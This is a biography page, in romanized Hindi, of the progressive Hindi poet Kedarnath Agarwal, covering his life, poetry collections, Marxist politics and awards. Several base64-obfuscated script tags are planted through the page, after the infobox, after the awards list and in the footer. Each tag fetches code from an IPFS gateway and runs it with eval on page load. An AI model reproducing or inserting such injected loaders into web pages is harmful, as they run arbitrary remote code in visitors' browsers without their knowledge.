केदारनाथ अग्रवाल
kedaranath agraval
| |
| poora nam | kedaranath agraval |
| any nam | kedaranath |
| janm | 1 aprail, 1911 |
| janm bhoomi | kamasin gaanv, baanda, uttar pradesh |
| mrityu | 22 joon, 2000 |
| abhibhavak | hanuman prasad agraval aur ghasitto devi |
| karm bhoomi | bharat |
| karm-kshetr | kavi, lekhak |
| mukhy rachanaean | apoorva, yug ki ganga, phool nahian rang bolate haian, pankh aur patavar, gulameanhadi, he meri tum!, bolebol abol, jamun jal tum, mar pyar ki thapean adi. |
| bhasha | hiandi |
| vidyalay | ilahabad vishvavidyalay |
| shiksha | bi.e., vakalat |
| puraskar-upadhi | soviyat laiand neharoo puraskar, sahity akadami puraskar, hiandi sansthan puraskar, tulasi puraskar, maithilisharan gupt puraskar |
| nagarikata | bharatiy |
| any janakari | kedar shodhapith ki or har sal ek sahityakar ko lekhani ke lie 'kedar samman' se sammanit kiya jata hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kedaranath agraval (aangrezi: Kedarnath Agarwal, janm: 1 aprail, 1911; mrityu: 22 joon, 2000) pragatishil kavy-dhara ke ek pramukh kavi haian. unaka pahala kavy-sangrah 'yug ki ganga' desh ki azadi ke pahale march, 1947 mean prakashit hua. hiandi sahity ke itihas ko samajhane ke lie yah sangrah ek bahumooly dastavez hai. kedaranath agraval ne marksavadi darshan ko jivan ka adhar manakar janasadharan ke jivan ki gahari v vyapak sanvedana ko apane kaviyoan mean mukharit kiya hai. kavi kedaranath ki janavadi lekhani poornaroopen bharat ki soandhi mitti ki den hai. isilie inaki kavitaoan mean bharat ki dharati ki sugandh aur astha ka svar milata hai.
jivan parichay
kedaranath agraval ke jivan anubhav ko tin bhagoan mean baanta ja sakata hai-
- bachapan se bi.e. tak (1911 se 1935)
- vakalat ki digri se sevanivritti tak (1938 se 971)
- sevanivritti se mrityu tak (1975 se 2000).
janm aur bachapan
apani kavita se jan-gan-man ko manavata ka svad chakhane vale amar kavi kedaranath agraval ka janm 1 aprail, 1911 ko uttar pradesh ke baanda nagar ke kamasin gaanv mean ek madhyavargiy parivar mean hua tha. inake pitaji hanuman prasad agraval aur mataji ghasitto devi thi. kedar ji ke pitaji svayan kavi the aur unaka ek kavy sankalan ‘madhurim’ ke nam se prakashit bhi hua tha. kedar ji ka aranbhik jivan kamasin ke gramin mahaul mean bita aur shiksha diksha ki shurooat bhi vahian huee. tadanantar apane chacha mukuandalal agraval ke sanrakshan mean unhoanne shiksha paee. kramashah rayabareli, katani, jabalapur, ilahabad mean unaki padhaee huee. ilahabad mean bi.e. ki upadhi hasil karane ke pashchath qanooni shiksha unhoanne kanapur mean hasil ki. tatpashchath baanda pahuanchakar vahian vakalat karane lage the.[1]
kavita mean ruchi
bachapan mean gramin parivesh mean rahate kedar ji ke man mean sabake sath mil-julakar rahane ke sanskar p de the aur prakriti ke prati anany prem v lagav bhi utpann hua tha. bachapan se hi kavita likhane mean ruchi utpann huee thi, karan unake pitaji ki kavi karm mean ruchi, vahian se kedar ji ko kavy-srijan ki prerana mili thi. bachapan mean ghar-parivar se mile sanskaroan ne unhean garib aur pi ditavarg ke logoan ke sangharshapoorn jivan se vakif hone ka avasar diya tha. kalaantar mean qanooni shiksha hasil karate samay unhean is varg ke uddhar ke upay tab soojhane lage jab ve marksavad ke parinamasvaroop utpann pragatishil vicharadhara se parichit hone ka mauka mila. yah unake jivan ka atmamanthan ka daur tha, jisane age chalakar unhean ek samarpit vakil v anoothe kavi banane mean yog diya.[1]
sahityik parichay
"kavi chetan srishti ke karta haian. ham kavi log brahma haian. kavi ko mahakal man nahian sakata . maian usi ki l daee l d raha hooan." - kedaranath agraval “kavita jivan ko udatt banati hai” manane vale kedaranath agraval ne lagabhag nau dashakoan ka udatt jivan anyatam kavi ke roop mean poori udattata ke sath jine ki koshish ki thi. apane samay ke darjanoan kaviyoan mean apana ek alag jivan, apani ek alag pahachan banane mean saphal janakavi ke roop mean kedar ji ki kavy-sadhana stuty hai. unhoanne apani nirbhik vani se hriday ke udgar jitane bhi prakat kie, ve sab chetana ki laharean um dane vale athah sagar ke roop mean nazar ate haian. kedar ji ka kavy-sansar - sagar jaisa vishal, nadi ki dhara jaisa nirmal v tej aur chaandani-si nishchhal abha phailate hue kavy-premiyoan lie thati ban gaya hai.
kavy-yatra ka aranbh
kedar ji ki kavy-yatra ka aranbh lagabhag 1930 se mana ja sakata hai. kedaranath agraval ji ko pragatishil kaviyoan ki shreni mean b di khyati mili hai. kavita ke alava gady lekhan mean bhi unhoanne ruchi darshayi thi, magar kavy-sarjak ke roop mean hi ve sukhyat haian. inaki prakashit dhaee darjan kritiyoan mean 23 kavita sangrah, ek anoodit kavitaoan ka sankalan, tin nibandh sangrah, ek upanyas, ek yatravrittaant, ek sakshatkar sankalan aur ek patr-sankalan bhi shamil haian.[1]
kritiyaan
kedaranath agraval ke pramukh kavita sangrah haian:-
- yug ki ganga
- phool nahian, rang bolate haian
- gulameanhadi
- he meri tum!
- bolebol abol
- jamun jal tum
- kahean kedar khari khari
- mar pyar ki thapean
kedaranath agraval agraval dvara yatra sansmaran 'basti khile gulaboan ki' upanyas 'patiya', 'bail baji mar le gaye' tatha nibandh sangrah 'samay samay par' (1970), 'vichar bodh' (1980), 'vivek vivechan' (1980) bhi likhe gaye haian. unaki kee kritiyaan aangrezi, roosi aur jarman bhasha mean anuvad ho chuki haian. kedar shodhapith ki or har sal ek sahityakar ko lekhani ke lie 'kedar samman' se sammanit kiya jata hai.
prakashit sahity
|
|
|
rajanitik drishti
kedaranath agraval ki pragatishilata ka moort adhar hai bharat ki shramajivi janata marksavadi darshan ne janata ke prati unaki mamata ko pragadh kiya. janata ke sangharsh mean astha aur usake bhavishy mean vishvas utpann kiya. isilie ve aangrezi ya kaangresi shasakoan ki alochana karate hue janata par hone vale pashavik daman aur janata ke kathin sangharshoan ko samane rakhate haian. is karan unaki rajanitik kavitaean jahaan prachar ke uddeshyoan se likhi gayi hai vahaan bhi siddhaant amoort ya kathan matr hokar nahian rah jati. lekin sabase b da parinam yah hua ki svadhinata prapti ke bad jahaan bahut se pragatishil lekhak daman se darakar ya ramaraj ke lubhavane sapanoan mean bahakar kaangresi 'navanirman' mean hath bantane chale ge, vahaan kedar un lekhakoan mean the jo in sari paristhitiyoan ke prati janata ki or se, janata ko sanbodhit karate hue apani avaz buland kar rahe the. chooanki kedar ki dridh astha marksavad mean aur shramajivi janata mean hai, isalie ve ghoshana karate haian:
bhajan ka nahian maian bhuja ka pratapi
unaki yah astha tathakathit navanirman vale prabhav ko tikaoo nahian rahane deti. ve janata par ane vale vipattiyoan se kshubdh hokar vyangy karate haian:
rajadharm hai b de kam mean chhote kam bhulana
b de labh ki khatir chhoti janata ko thukarana
uparokt panktiyaan sanh 1949 ki hai. sanh 1950 mean ve pi da ke sath daman ka chitr khianchate haian:
booch doan ke nyay ghar mean
lokashahi ke karo doan ram sita
mook pashuoan ki tarah balidan hote dekhata hooan
vir telangavanoan par mrityu ke chabuk chatakate dekhata hooan
kraanti ki kallolini par ghat hote dekhata hooan.[2]
parimal prakashan se sanbandh
ilahabad vishvavidyalay mean adhyayan ke dauran hi unhoanne likhane ki shuruat ki. unaki lekhani mean prayag ki prerana ka b da yogadan raha. prayag ke sahityik parivesh se unake gahare rishte ka aandaza is bat se lagaya ja sakata hai ki unaki sabhi mukhy kritiyaan ilahabad ke parimal prakashan se hi prakashit huee. prakashak shivakumar sahay unhean pitatuly manate the aur 'babooji' kahate the. lekhak aur prakashak mean aisa gahara sanbandh dekhane ko nahian milata. yahi karan raha ki kedaranath ne dilli ke prakashakoan ka pralobhan thukara kar parimal se hi apani kritiyaan prakashit karavaeean. unaka pahala kavita sangrah 'phool nahian rang bolate haian' parimal se hi prakashit hua tha. jab tak shivakumar jivit the, vah pratyek jayanti ko unake nivas sthan par goshthi aur samman samaroh ka ayojan karate the.
samman evan puraskar
- soviyat laiand neharoo puraskar
- sahity akadami puraskar
- hiandi sansthan puraskar
- tulasi puraskar
- maithilisharan gupt puraskar
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 kedaranath agraval ka kavy-sansar (hiandi) (ech.ti.em.el) srijanagatha. abhigaman tithi: 30 joon, 2013.
- ↑ kavi kedaranath agraval ki rajanitik drishti (hiandi) sahityalochan. abhigaman tithi: 1 julaee, 2013.
bahari k diyaan
- pragatishil sahity ke paksh mean bahas ka ek tevar : kedaranath agraval ka alochanatmak lekhan : gopal pradhan
- mitrata ke kavi kedaranath agraval
- kedaranath agraval: pariveshagat jivan evan sahity
- kedaranath agraval
- kedaranath agraval ki git chetana
- kedaranath agraval: 'ken kool ki kali mitti vah bhi tum ho'
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>